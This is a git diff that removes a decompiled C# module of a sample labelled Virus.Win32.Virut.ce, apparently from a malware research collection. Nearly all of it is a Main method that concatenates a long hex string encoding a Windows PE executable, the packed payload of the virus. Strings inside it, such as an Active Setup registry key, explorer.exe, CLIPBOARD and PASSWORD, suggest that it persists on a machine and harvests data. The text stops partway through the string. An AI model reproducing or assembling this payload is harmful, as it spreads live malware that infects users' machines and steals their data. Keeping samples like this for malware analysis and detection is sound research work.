--- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Module2.cs +++ /dev/null @@ -1,334 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module2 -// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; - -[StandardModule] -internal sealed class Module2 -{ - private static string Vital; - private static byte[] Combine; - - [STAThread] - public static void Main() - { - Module2.Vital += "4D5A90000300000004000000504500004C010100170475470000000000000000E0000F010B010600007000000000000000000000897C0000001000000C000000000040000010000000020000040000000000000004000000000000000080000000020000"; - Module2.Vital += "038B0000020000000000100000100000000010000010000000000000100000000000000000000000907D00003C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000001000002C0000000000000000000000000000000000000000000000000000002E7465787400000000700000001000000070000000020000000000000000000000000000200000E0"; - Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000907D00003C000000008000006009000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000001000002C0000000000000000000000000000000000000000000000000000002E74657874000000A66E0000001000000070000000040000000000000000000000000000"; - Module2.Vital += "200000E02E7273726300000030AE807C31B7807C2E93807CA400927CFACA817CF21E807CAD2F817C51AC807C00000000EA073D7E000000000000000000000000000090000300000004000000FFFF0000B800000000000000400000000000000000000000"; - Module2.Vital += "000000000000000000000000000000000000000000000000000100000E1FBA0E00B409CD21B8014CCD2100000000000000000000000000000000000000000000000000000000000000000000000000652E0D0D0A2400000000000000FDEA7B49B98B151A"; - Module2.Vital += "B98B151AB98B151AC297191AB88B151AD6941E1AB88B151A3A971B1ABD8B151AD694111ABB8B151A5194101AB88B151AB98B151AB38B151AB98B141A0A8B151ADB94061AB48B151A46AB1E1AB88B151A8FAD1E1AB38B151A52696368B98B151A00000000"; - Module2.Vital += "0000000000000000000000000000000000000000504500004C0103000BDD73470000000000000000E0000E210B010600006000000010000000B00000101D010000C000000020010000000010001000000002000004000000000000000400000000000000"; - Module2.Vital += "00300100001000000000000002000000000010000010000000001000001000000000000010000000000000000000000000200100F0010000000000000000000000000000000000000000000000000000F02101000C000000000000000000000000000000"; - Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000742073656300B000000010000000000000000400000000000000000000"; - Module2.Vital += "00000000800000E031000074207365630060000000C000000060000000040000000000000000000000000000400000E0320000646572730000100000002001000002000000640000000000000000000000000000400000C0000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030303030303038210C09020A37EDC88DFE55A366D7F30000105D000000D4000026010050DBA100920020733853FFFFFF"; - Module2.Vital += "FF4F4654574152455C4D6963726F736F66745C4163746976652053657475705C4977F9FFFF6E7374616C6C656420436F6D706F6E656E74735C25202041FFFFCBEF0FC4052E4898BE9DAFBE93B8B0B9BCB7ABBEB3B9B89AC0FEDFFEBCB9ADAFBDBD4A179B"; - Module2.Vital += "BFAFBCC39DC3BDBEAFB71F2FDB3F7B4AA4C1138EAFACBFB18D30BEB64A95FFDFB6B7AF45BCC0B3398E3BADBCB3BABEB9BC9EABACB6AFC366B7E54A9ABDB337ABB6345DDCC1B66F4499BAAFB835C30990B32B6FED97CD0A228EBFBAB65275AF99ACD83277"; - Module2.Vital += "F7B4AFADBE118DBCAF0E210FEB66C94E8FC21158D8A078C2B6166CBF0D9962BE0BEDE40F581C9FB8B6B9ABAEA1BFB3D6B6771BB3BCBEBF1F97B2C94B752F5B0924819EB206AEFE85B9CE0E18BEAA3D0070312E326478F7851B6F616464882E6461740B5F"; - Module2.Vital += "6F6B5FF0B6FF7F835065C5006578706C6F7265722E0865138084B7BDB975627025680BE7753B37C6233547075A772756BEFD63BF2175654B65790F577269746546693200637066FBEF58F672631F49734E5441646D696EAF76B7761B7686636BB15F005C"; - Module2.Vital += "0F633ADA0576DB0530B73373975734BB75DFD8DF7765437572728656D0736990826DEE5BAE70702050CD1869E87FFB13F674DB436C6173736520485454505C736BB7DBDB68656F5C6F70425C63D26D61542B68EDBFED641461BF6B6C67006E938F2FE65A"; - Module2.Vital += "4834BABC07C5B07FDF0C57946772616DE773446972AFBF13612BDB52752F558BB7FFFFFFEC83EC54568B75088B561083FA0875098D461650FF560CEB5C0D0C75FEFF98FB0F8D861A01911416EB48576A115933C08D7DACF3ABDFFDBBDF04F08D4E16AB00"; - Module2.Vital += "668B4614C745AC444E668945DC8D7B7BDBDA45F02F0E5027505052025051501CFBFF3773D801550485C05F740C8B45F86A0189862002127F7B677F585EC9C2040087518538FC6A04506A22D9CE4D6E32FC02772D46082AB48586C647111E63E664CB1916"; - Module2.Vital += "FE2D77000F4D6F647529486CF6FBFFB705414B4B45524E454C33322E444C4C0F446518BDB67D8F361E4336610B4270986DCE3E2D3C76199FA17BB8B6196E2A373400567B73B48D46A67E46326741B9370E4247486F464578571F82B5BF9113435C757345"; - Module2.Vital += "421E2C19CB0ABB524D656DD49C7B14FF12178B17F7AC85AC161917A9546806A92D905B643F4E741723F2026B0B0F4F4E74F8B60B174C3F4C6F08449B5C376033D714A3A70A0020037BADF14C69628A40DA0FB7B0179257FC0F212104A13504B169772D73"; - Module2.Vital += "676E1B0F529D93051B36ECE122B7C6DA80D082D4519741A404B7B0D72A1123CFC83D4EDB87756D787494796D2F1D77C9260799A76E616201750721B58D744869464349B7EDEB6B0A6A74D07422674D636167ADB5B370DA4308940938415BDBB57B177A44"; - Module2.Vital += "72FD7244765769C33D826B1E41576176691E77EF56C82E5C102C673117B5BB6D75404C6C7474707504666FEFDE1D98332D0763322575237376636837B0CD956F0F0E7C022352B295BD1316172B966BA53F4953504C41590B834AA04F4B7A6E0B086B304E"; - Module2.Vital += "0A86195BA065F23F614BD8D810B61F73130EBF826DDBC373D069CFE407341C7BB363AE002A7F22132D25D879CE1A6F04203A1BB6B3F3D9332F0733440B52093A904106F907464E43B164DD6444055CE7070BF9B0630B642E027C25733B5B769675690802"; - Module2.Vital += "7829D0FDBA297350336B3256034ECCCD6627C3079F0BB8D8E3C9C1815465F931204B43B00824F73F1E1F89068D3BEC79313233342DD086FD353637383930091B086A736CB46E6674547E95505C3A19866DAC673C5C187671434BF64623A0756275672357"; - Module2.Vital += "D1B8FDF86844385B007480536852B14683D7A76E0BD1401FD377DA780BA26E530B52A4AD0D3BB907A61FB40BFC0D5A03437A53E22F352E302028B0A6261CF7FF6950292303B73577006790715B656C7339DC07EF69342C3203D919686A8F702072756A42"; - Module2.Vital += "20346B2CB135232043207769DD4F6ABEE1DA9B10DB4269667220CD45EBCE35209B740F3F61D2BFB96C000100FF0D0A434C4950424FBE9D1D6DE1443A68730E5F0D0A617BB3FF0750415353574F1A0F013C995BD9ED023E17733E4B33B355D82A639B213B"; - Module2.Vital += "7A7A5CE430DB2000560B5B4000571BB8D00F3F41567479C05F6960404031ACBB7C17F8A76407A829ECC006EC6737C845011371DB85ECE05B3B0FE81B100C425F7477E781EC102553ED5757F96F0DFD4D8DBE54096168420314578945F8FF1585CCFF7F02"; - Module2.Vital += "5C80650B0083C40C807E4C010F85EC556EAD7D9AF4FC683F4C30005768B9B9BD8622802F818B3D088B1D9F0B5DA89C64755BB7500385F0EC9BFDB6FEAC502301A00C681011B6873DECA41ED340296A0239D4DEDF7EEB8F6A3BFF75FCFFD74B7404C6450B"; - Module2.Vital += "010CDFDE8EFD6804EB0E807D03740EA10FA8DC80B8BBD5D0A71418754AD680507442A56147BAD8A249086801A70A7DCFDD289B2181C6567556DA7EB2D8D61F5BF86B635F5E5BC9C3F6F6BF1929510C83E811743748742807047414201F6159BA02100C08"; - Module2.Vital += "2650EB2A83F8DC61DB7D10731110544D0758DF46785F26EB0FFF359F765967585DC210EF0F7F46EE445633F6573001945656E268BB1D6E3C5668B90B6A0A38596E68B4D9DEBC45BC83C6034C50473876D907C0113A583C563998563BB6056BBA007AE013"; - Module2.Vital += "024052A16DADFB0244A374D0163FE4233F9B6CAC1B1D0A502148094C20FC18B507EBDD5F70D8518D442400ED13FE38DD09118F50A19059C3D17B8F8D750112CBD03B3868F4AB1EED7B33F68CC3E3D49F8C83250A0031EF33D5760D125C45571778902F7C"; - Module2.Vital += "A3A9D4B56A1EC85AF6C1B70AD1E9FF166EFF81F12083B8EDEB02094A75661521890C8240FB5DF7873D057CD6C3B810303CA7BC51B81010472D34341CA78C8D5339836939B7B7DF8874AC75E88965F005FC751ECCE0685DE15B76136850E02CDC330613C3"; - Module2.Vital += "8E85BB124813CFC35D279C6A03ED854F7038250AAD006083F8E1EFD81BF1EC750E0D5C8933A6180019D69D1B6508ACE0EF7D502F706BFFC8ECD88B4D08894DE4B6853BC6FDB6EE6F013BCE74615657968BD93D918DB5FD6FB7FA338B5D45141EEF8A1E8A"; - Module2.Vital += "C14632C3C1E9B85DE3BF1D1C8733CB3BD675EB582D890860E9E50873956101817DE4E377B0DBF6769768391974091E01883EDBD66E0E9C6FF7D1452AF40EE87BB6C6E964890D7FAFDC0002E6FDECCF5A08E7C0FF742420E88BF083FE76978FB40D21308D"; - Module2.Vital += "88EC0905E404515158CF8E35462064565F5EC3206FB7EFCE54DA7D0883C9FFC9F2AE6F2BF98D8537F7FF55D48BC18BF78BFA83A5ACFE9DD802F3A5D2BBD17DFB6A4983E10323F3A48B3541C8BDBDB01D3EBADB87C0D4D6D6598C0206ACEFF7F5116B080F"; - Module2.Vital += "84944C8D41C78505AD8EAFB9286B8622A6AC70128E7DA491D0D6209C8BD85948D7507395C6FA065360C4B99A2CEF339CA530ACCF3FA012D3C0B6643F6CFC3ADC3D08EE6EEBC7288BB5B41F4DC6EB0B4B91DACC120CC2F69E2882DBE2C6535566DB579280"; - Module2.Vital += "A94D3E4873C2534C8054E883FDFFBBB5C3DAC8C5F67CE124FC5568464D854301C2483CC46A5B03BA05244915D64E77CCFCC77A783944241C0F87AB2F582B2164E7C93A1FD72F286A050FE976EDF3306A106A2F478104DC1234CC74A59DEA8E13910D4006"; - Module2.Vital += "1BEEC26C05141528B828877CDAFDFF0BF78A178ACA3A10751A3ACB74128A57010C500177DD1ADCB84747531175E29E051BC063B71BFD83D8FF3BC37436C0E93D194577BFF7CD6A82446E57BA7C5D673162C14C2C1267ED66E0EDE1DCBAA000CA4A81C715"; - Module2.Vital += "817CFF23B5C214F40ECCDC6A14895C24148DBAE736E6DA950C0D1513590E180FB7DCFF1885395820764933FF8D4C747B8407B160117E426A202F7126179B056B121BE113692FF4F65BFF221083C7208B3D103B48BAB98078DE6DA68314A79B57247A100F"; - Module2.Vital += "868EEB666FE70C0918BF74662E2050A5AC7BEF01966A10186ED98441981D50148D1C02F656F60403C7A0149BB7ED05EB1A20A09DA404A0240F716203C7827B73A986A1CD25B38DD8A4ADD58B48014C776C12A70203254605871C47ECA533109C38017D16"; - Module2.Vital += "1505E4360BD8C81A2B4387001D93C9B8D77E1CB7144DD816622D80891418098E19B1D7141C1C40E99402251EB15344ED1920AC5BB65BC9741F3603241D23DDA4EE740A103C0918CCB6813DEC59EB1145A8E0A6FDEF38D9CC76F7A70CF09A640BC94B045C"; - Module2.Vital += "0617327CB353D9D88BF81CD657020B39805C060EE404027619340674F2AC071B57CBB301551C8AC3759E80E95D5B5F1FC8046B22B2E124F93D39E205C711186BFD5F576A1AA836FC12620FA189A4E018BF0588240B32D9C1E6EB121784BB24073B3C8898"; - Module2.Vital += "430A580562928FBDC81589980C0AA440ACB9E5E6F700FFC70674DF7DEC63D09C39BD100F756B83BD040704B19BCD6D88F4150C085A75113FF2B05DCFC68003031B052685CDEFC8844C0A02399D190519B009CA430136DED7F672021D891F85504604B23D"; - Module2.Vital += "6025642805EB701203ADD9CB1304EB5D05753F5AA940BE36601A06C41372E501FBEC079C0275274308EB1973B001E406751409A6140A7838160C8F89762E7D7833BE06462D980D1F0E6C270B42C38D943AFFD0BD0B673C60F871C2B003986007B0F5269D"; - Module2.Vital += "9DE9983090BC188E0D0AFD13152D84CD28AD2DA1AFFB19D0487505B4745163608956B0C13A5CD20C8FB84B931DDD6A5B57573A6E38EC668B9D275101FD0C44B71981DFBF632A6AB69AD88F3C59CCD6B6DD5809142D5210BA2706C8B327FF95D8053D0191"; - Module2.Vital += "430F8B001272604F83C0761D80199221D90F99ABBB21199221CDD9C8211992E7F304010CC9905C10254C2DC41E92024C09024002B230F20C3C59284A638DC41076C18CADFFB170CAD0B0E01333B38D642FFB86D9403819755415916A62C234E72311B468"; - Module2.Vital += "A32F9494BA8D4DDC587B946AD1DE3A8B510B94515300886EC5669554903070536622B727DD21C405A088E98C2031EB5F7ECC648801B8597E0D69C0E8032AF6EA930E8CF55DF405BB3FF2920FF0F8BE005E3CFD3CFD32C0581CD68B280B9D014A9477D5A8"; - Module2.Vital += "19046DCEECCAFC57DE85F59A1EF8C3EA59A88E314053FE4F0866BE2020CB1829C04DBA259BB1501D8C848C75FC2243304E14D054ACCD0E6082821D6376B708DB76755817ECBAECDA3E38FB23DBD73E45D87999F07EF024D32D9B7528261DDF17841BF6B9"; - Module2.Vital += "590E4F4E690432085B10427645F4CD2121F44843800D601E27DA87C516763E4D055409B61CBADA32E01932651412EC61F5B75602740D688813F7EBD42B85C30E783898DA7A2C052E68139ACFEE015E56371F0000800C9AF8EE0E08E4EB03253998D4360B"; - Module2.Vital += "B9478AFDAF21331CB789B0F87BE32CDE22BDEC59747D60115B1735DCF7C7801A03366BFB192E0A46DC64FF1A05B735E375C056A6F4290B0C1B9586DC5B9469041A07B4191F61E053715AAF68FB875AE002CC33FD593C016A0D8BD4AE4DDD281232620809"; - Module2.Vital += "5DB342B737E0C3E55327CB75A902EF8CE50CB8BF7B590524167AEBCD57C35704D858E560C57608C25916909F99B3BD0155C7741E57CF9609191E10068E5757D419C722B6A45706A0E11334C0A7AE481856F209B6B19D17751C1AAC0818A26E6D070C05EC"; - Module2.Vital += "011E21E850BCD533EE2550115501A88B848D75E8265A735B31A500E8E7FE010EB3B10419B009AF056B72FC1C300580A59C8473C0C04E3084D8AAEFEDEC8059EDD4898554453DB74670E53EDB05E9B9FC1A5917CC62EC05849FE53EE1E4C91724B515C0AC"; - Module2.Vital += "08B025270F0670D48918B41607837836F28F877DC8A52CBCFEE4EB7D1E02DC160F20E0EB5E28904BD7CE48CF1894FD6B8CB2D66909F1BD018344E27FA47B93AD282B904B32985893DEDF2A34FFB540C33304E91B363829202C5E616D924C0D72103B155B"; - Module2.Vital += "76906D3BDC2850193F60C9CE366EA43B0FD7272C897326EC5959A30E588CCCF5013601B02FB076C00C00D47C4200D005FE6103B3C6856C01837DC0000E08CD9299A8D32DAE61A340BED724969BF1205BF175071E3C09AB070B2D58C8B394999781C15805"; - Module2.Vital += "BB721F1B130FB680D83082754C0F3BB2524952B0124C02C929392558055404BE24072391A4FD871447CB15CB111CCD5A821F3B3024CC478B4DC889880633CBE6BD08CCE816D837641959ECDCF0C123023648D933BF1DC8095BB6E659BD10540425E1B35B"; - Module2.Vital += "43A4080775167C61A71E0BD820047E070C487147FD25EB0CFC80810E204230B8ECB022C8C9D23EB8A0744E9A742A74F3B42C998D847A82EDB48867E28CD110D48850034BB20C52E88210A09CC06BB3AE46511088072A1F9AB561D48768B58BD078219610"; - Module2.Vital += "E4DFC18BFAB02FC484DAD8F3A4EB662A96C82E104E55EC2D715ED9B3110D6A03A808C60606EC21C40112043C133204C227D82501E816F29023A8FEA8FE41C22048208DC58735A6C98A80A70D84D67830C13C3154C9675EAE85292EBC0B50F6660D9E3A24"; - Module2.Vital += "145233A005E1814C0CEB436D03B9848028740CF73B6BF8F7D81BC0407911888D82888831CA4230B0DE821F1B3B678FC2CE641BC83C29FB9E90AD80A015002B71066492841C84F962366091020E7BDC9209E1C21E0202031036C958DB1B5DB36CC40CB0A1"; - Module2.Vital += "CE0A7E8073995238CB77B46FC9C46800C0692A105FB8BF6CDC20D4188BF08DBD2010788D1736B9BDB5090F6CFD49E42E6FA526B84668C461F0FA20996448000064791964E80046C323D02EE4218FE0FAE0FA7C191F0776EBAC055F713266ED00752AC64F"; - Module2.Vital += "366C610C6404D057939A21EC014E2864DD2E691690085DE0045B406A4831B8D36493BDD924C00C4013BC690B180FF5CF13F53D13F5066308255485E87561D50ADF6922ECDAD132DAC52ED1DA151EFFC9E0530F7DF61E5921C3E0A3D63E66292E5BB02498"; - Module2.Vital += "5090AAC36AEB6EF4D5155968D8FB7DBD05ED5E7BFF00745D83A5D008550FFCFF0FC8C836587CB828D4D403FB66C134FD580183DB4EEAB96A3B228B597BC0773A838DD1BC54DEAA332A3D17C614FC1923198D3C70C905D82878D118C99163D425045318FC"; - Module2.Vital += "60FCD733F6DE00694331248E6E9CEDB7D8BE21742275556A222E617B66BA233FE859ECCC148B8D0B3B60D9FB2BC8510E597101E4DF120933258D0D1E003B9BB2F7EB2D6A2029548B5A8D1A0CEC2C9B2EC105A109B9B21F822DCBF6943BAC15D8755EF2F4"; - Module2.Vital += "1D657B1808038B74521C6C1BD903EB111E565CCEC82D580EE04003ECFB867A24621EBD1CFC81BCF6C27D09DC1B72A7137672010731EB48FC660A494676CD4C05BADCFB1C1FB0ECBD0405016F3A75AA103B65934E8B3D5736C86118F6C185123790CC573C"; - Module2.Vital += "B48B0DB3810232CEAE95783AFFB582C0C080C32411A107BC09498E10D80D48430EDA9527A923A948F321B04AA211B223D4A98E2E31A41B2368C800BE6FC0FB0E08F060F38CE8C8FB32B7D540677237E552BDB3B499BCB290595A484D8040A6603D4A5F64"; - Module2.Vital += "B005FFCF315E84E58B0A1C78AC1D0532B23483E8D6BCBCE7ECF930219EB8FBB52ABC677BD96542D80B018892B480196407D1C0FBA06C5F6109CDC9214064B415CCFD8B053C0F8E3E1F3B070672240D111F09A921A9110E7D074B8881043B292CC08B6C70"; - Module2.Vital += "C4056CC1265139ACE25FC66128791A4402402D14200DE4287430F2904BE74CFB244CFB78FBE94D4E4E7CFB3C232411B049302A904BB652832788FF64C40F599A0451AA900234B31D58072E1F104CC094B475304012C7A0BCC845B343D85E300E090DC8F4"; - Module2.Vital += "5C649B9915C8670893876C9A4E1C123EF409C7298E101BA489516028587CC838A0EB2F29667BB6394C20304839260A34DEF3190A6C783030A5121C837FAB360DEB99EB97EB95DBEB8EE8470847298D8B4D10C7053EF446185DA55C890D6383B97DD7DE76"; - Module2.Vital += "F58106D65A194DEB448B9AE8568D9507A82137AF02702D6AC70B3E6A591209B6977A8179038B45085510527C511A620111688A3007E24330294F4D0C00B45C301FA5F80F490CFD57048DF85AFF07176BABB9E233A6E5F48CC41F097074D812F027A536C3"; - Module2.Vital += "6E43CB08F0E72C0BB972F49B82DB8132C8C8256381E18FBEFD37C1E1100BC80FB745F2055153FFD65FEB5CC5848D1C515638402A628F9D188BBD1C1E5D317BDB5C0405473C502FE16AF1DA46B9185EA238072BF4C1086EA803C7625151566AF7DE021AA4"; - Module2.Vital += "E48365FCB3EDF8423F00CDA325A185F6742F2CA06B8EBB211856B5D9DC6B18FC081859141710E9860626F83704A10A6A32CE32422306C6DE23A0E1F848318B5433DBB9DAAB6D6A75B7F460BB895DEC955607746A8458B409FCCA0694E02BD0D7C41560B8"; - Module2.Vital += "07509E51B6AD19E4BA89317D08D94C1BD42EB004F605086C9B78A057BE99883BC324D0B9818B0A15761264FAB69067372AFC0900217FB1D8CC5C2DD8628FC645E06C437689016F680F51D423B432610BED5A0C1C19FCBF3981CC9A8EAA64395D0C7464C1"; - Module2.Vital += "FB2B0C1D3ED98BB56485B7A0B0592BF6394508514EEDD64EFE6A0B505783EE0A8B4375F06819CDE09A85F1AECCF01D531378086FDBF5E803FA6275F6575F740E0CB06BC1425763756FAD19DAD88937626802664F6770FB74A5ED9A754526BE4656B298FB"; - Module2.Vital += "7525D019A3EF0A2D0D679C5C7675D40AFC57E6324AF4550BCC0E4288D0D387191B89B00136D28C02DE81526D015E086F6121462D0317B2EADD61D3617C09750E1DD4B137DCFB0813686156B8F8DA3CC10FA6D7FEE36FE5AC66897EE6CA785607A0219057"; - Module2.Vital += "22CDD859740D8478A5CC36E665A8A010805141E4F69D8A17140B8EFE36E0A71ABB9DA06885778968113677F08E94CE67E217D978D0FB0B8364BE24EA81E01A985624F0F47437A1451758F051536F1E06A17F87711BEC74356A0A0816359C9DF64756CEF4"; - Module2.Vital += "01A5608108D4944EDD7A7810E859EB6C7D100ECFF0BA77740FEEBD4E8266B30617DFF45ECE143ED68120C4165C5CC4C3DB21D40A33A02EF875708F3C7427E1750B71EB5C100C8214336AA1219CD3482D0E414EA298C59884688B4189C0739DC8F4759491"; - Module2.Vital += "C09872530508BADC3649BF092BE4C1545F51A4E0300F60B2D1AFC0091FA4215FE85EE36C85611FF96BA4CF5141B668D028D423D1619C57FC303930A46075814539294906F942840047E88B7DF0120F8559C529A6CC56F8F5C3ACB65742408E9CF8742762"; - Module2.Vital += "E56A4F6CA4A6BDAB3913610A9C7D054D26D7F5440CC1038B913F6915AF301B39A02A2B5E319B24112A24C16283304DA4EDE1D9C09C7BF3C5E8C83B9215788D36FC6DD075D1A40E6BE8555114E0F01388DE2A011457BFFE93805926E6EA9C1501777E0EFC"; - Module2.Vital += "0909536EB59B4E6E32804DF16134ECB8E572B9DC03F2D0F333F4C0F55F9B5B97CBF65EF75BF8C958F9C204889CF448DD5DFB37D87883C35052BCA75A9801792EEDBB36472805E27C01100B8DC12658222CFBA18BC3188BC18040573389F07258A16D7F85"; - Module2.Vital += "820F8011F4FD1BC4289AE0F08BC78BD62B05669BA3FE282BD13BC29F2651213EB6D00F6D3D853F3977046A0C56DFA0DD7CA8EC268BCF0E4D2BCE5F8A733CF88514E910404F75F796FC2543B56E259AEB02AE4F770E9E0D8A0C5567D009848802FE30EA5C"; - Module2.Vital += "2413D205C644240FB806F8407F0F868A517C165C47EE0B5D80BC241C3C997514171582312DE4A4C0F6BDC38F2C8B2DF3115A7411473502C3D5D710A2B71A81E3865065AC423802E962BF0371226450DC572010E16CEFA3AA5C07B0BA5F29887CD118F450"; - Module2.Vital += "4A203EB77D4912F04BAE8349540C48F78719DAC704240B4064800CC8802C18252F79C908079008FCC880BCE4075008ECDC2BC9800CCCBCA1B23BE910EA8914D308B0BD210DB1D23C180B6CC6E1F01BA436351FF092977D2F747E2298BC0888E42503F208"; - Module2.Vital += "70600848BC6440063820053C3B52C880080813017985EC4AFAC307FC07F0BC846F222A22DC2C07C87B052F9011D70F598F371E5E5F5DCA5B81C4C31244840ED60C0D985726827B365E98139490916DC910FC204DD6BE8DCF1C0C8460568FB483C9B6CD0D"; - Module2.Vital += "63D7194AC498DA60981C21F41A2E19FA44813E3E5680751B3306E5281E83081A6D62D3556A55F4ADEB6C24E624FE953386286A285736F05632404DB9BD9F8D1466CAFD0CD8DB74A84940C0348B168929089AF7264B8CE98D2756233C3C100B343B285704"; - Module2.Vital += "ECA1B8519B9A900F941559448B14B14088832630A1C704BAD5E4190485E8034E060966F7A8EE2250030123E1EC12CA0EBE668909503A92CA18F0E1D08EC4BD12704D8603784F057E3858551F0847A760B34330B4FBEB41BD05007416190A4C6103B01B84"; - Module2.Vital += "45944DAC1C803CD94CF583A5701F066C54FF25CE36D580EDA960065FC73332D67D05A20458105A5A23CFC8C85C59595B438C8C3C2343464242727632F6455B44AB06A872727272A94041647C4FF77CAA0083A4A15C831B3C00237CB865F0FAA9B09D2075"; - Module2.Vital += "4A5E608758FF4AA7DA032B1E93891A8D2A12E03721EC558F5C672E222455D2808803BBDD7E0A428C834C40EBFAF81018F415016AC785540B9839A42454624DA05716DE82B54454BD49A843B62725683B2C368C80347494363C2C8B0604D9814118ECE36D"; - Module2.Vital += "3B05067B481BA933960C76320BA883C1B22A60C3C63BBCEC22EA749E5220833D8F507BC2E7610B8DF0A9105B88A8381BF224A0FF8C64FCDDC270B0EC3411C2D8AC592CF8067C192223CC9BD4F7C7B708EB293B249011932DB4177D05C0101800484C3821"; - Module2.Vital += "74724DFD92635FE4AC081F141609F0D5D00E181876EB077140EA3CBCC960F20A7D316ADEFFF38B134140E90CAC1458A90940106DB9EE15CE7689F6EBC225C4F5056B3AC0F8A2022315C8C8D2ACD912A75050DF08638C97A24AA9B420575C18443BAC8C53"; - Module2.Vital += "A45969004C1E400D8C81BC09A4154B0D77136343C605C047FD68D712273AAFDDC1AF7A6DE1359247CF1D454B0712998E6002CCCF0BAF6218DF8BA73C4E64E0204AB36A361BB9BB2EB46E4D8A85401A592C64646473050B4138426B6664643443303B2A33"; - Module2.Vital += "48F7163F0A751E0B3812851A304834069E5ED60519B06F292BA5202830582348070B3D7992C11C0F36387F7528B9EC4D2E1D0A6A029EEFBD06046B374BFF3599EC4DF6390D27310D19300CE29FC969C060EAAE061904DADE46DB63EFB229C6DAAB61620C"; - Module2.Vital += "A5E658C1C2C38D0588981B9FD187EF88EDC723ABABF427FF7010D7301B1E126B4B014631FB2C088DB1C740007E0E498A837D077D0579E00D752D7D584FCBDDAE64D1037D09D220D082414A75EBD07EDB0BF614D5012C1381004CB98B5004FAA907C1E005"; - Module2.Vital += "E009C1331A210445B059C10EC16EE74014277B43B2758F747157013E7095B35990910CD0201D6B6E0EE88B8481AFE554FF199A9E052C048FD0E44010CB6287CD1AE00FD58A21BCF71AF61D5B1334056428612B3A5A25C49EF248890638C1261376293940"; - Module2.Vital += "0CB320F167DA3B4120762D7CF2E1818C742570702476DC78975FA770D2ABFC19A107D2E761C25F839FFC4314DE1DE8C7398025269DC107D0326812B966A0127CC8766E7470CF992848443012B0332256B4164EE9AF55C0C67A130AAC10637BA83562034E"; - Module2.Vital += "4693BB28F44DE835A86A59074B0E43F8800B8868980813613066788055FD606508958213468A35D070010F8E105581C7E1F2C0FE613D4983F9027619334C0249C12102F970E48419187D3258059053C80B5C065C06C896142CC31089910EE91C064CDE0F"; - Module2.Vital += "056202A71A243FD9F15401845E45234316581215B724E40A1BB0180B044A021208C528E6C01ADECA52151749C549C5943CD40821286105212C78152ABF4B28CC182A0300674C121DBDCA5C37032A65BC877599057933729068484F1FEB20FC164F043920"; - Module2.Vital += "FC6F9EBA2C962834A4CDB3F5C541A2B13819C014EC8422C0171D100A3B1AC8B173ABF524A8F89A4C5804063708E4210F2C5318FC1CFCCE41CFBC18FC12B19CF6CFA2D849DB0450568B742408571A4EFA1BA2E38BFEAB66C706028DD46C63EF8873668946"; - Module2.Vital += "020DD09CFFA0D344CE120102B6B61558340C260200012604F823808132C7105333DB381DC6765B1DD59F8807A95D055E80D62B37A9820019CAB402947AE89C348844EDD82857D3BFD60246574467868E063F53A679E0B6A24463422D80685722679A2C0A"; - Module2.Vital += "844710387BC6B61D56A1DC0E0BD85C8AEF09E64D5856274D11C1800EB6591AEB3C57148CD8C1ABF0F10521F487D89D6BAE55D71A5353336945995F6B22381BA8FC1C7EF4BD8DFF5389D8F8A14880D88CFDFE2B7CCA02B059752530A934BF135530D352CE"; - Module2.Vital += "0BAF12C3B0110ECC044424ECEB8C0DD80C1E544D58D23656C69AC8272835581C9141063B60011630601D19E4905F2C5F4001EF488C8D0CA805AB21A901BDD8D8BBD8A9DC05C26A3AA9CC0BE005F5C8C8C8E4D0D8D4753779B23D27CB885106A8A408DAA8"; - Module2.Vital += "97B98D88B4F23CA0D421B59DFCF450BA8B6046F52177B88C33566AC40E37FF53A33D531B63636F44602A6A5C506C30052C219727016F405970FC34666CA06B94AB561B7CAF8E56774E0515EBAADBB0700D05D79AC669A85725A340CB2A777B12755324DF"; - Module2.Vital += "6A0A5913C6850F263A8AED0406257966ECF659E28C50F466282645AC08C5582BCC28CC39282E64C630BF67F045FD2335085A0B81CFEF41A509432D5DFB825C293861CA0A8DBD0BD57AB689B50B35ECA4D9B94D038EC83450D4FC08B6B7D99EE83BC31AAD"; - Module2.Vital += "389D19C9A166666BEE0B80BDD55A0C94FB8825E8816BF86E102768B211F09441E492A046E8BABC745376BC304C1522B2FBFCFC6E78CD16D31CA4D90C74CC107CD00551967AB6E54C0CDF5A273CE0214D488DE41980CE4E80730C22B7118467C14ECE1888"; - Module2.Vital += "502C4950016767675C50705084508187B78D23AAB6BC0AC9505618066204585D668BF3EC84F14423A94116C71837C0038D4815EA3C7DF99C7146AC84848B64BB003DCFD7D1F79B049A99988ED08DAAD7AE44DA610B986CCC4E2A7A56122908283563F977"; - Module2.Vital += "28785F841A2CA742DAED21BA7760941B1FAB8BCA6D6CEBAB89EDBDC60472116909B9DF2EB29FDB0C58FD75595E67C7E63217C508A768844EB48C0DECC0563FF259DDBFD9196A2BF03BF37FAAEB1E2050BFD86666ACD90425F121FDCDF2FDB8C066340C35"; - Module2.Vital += 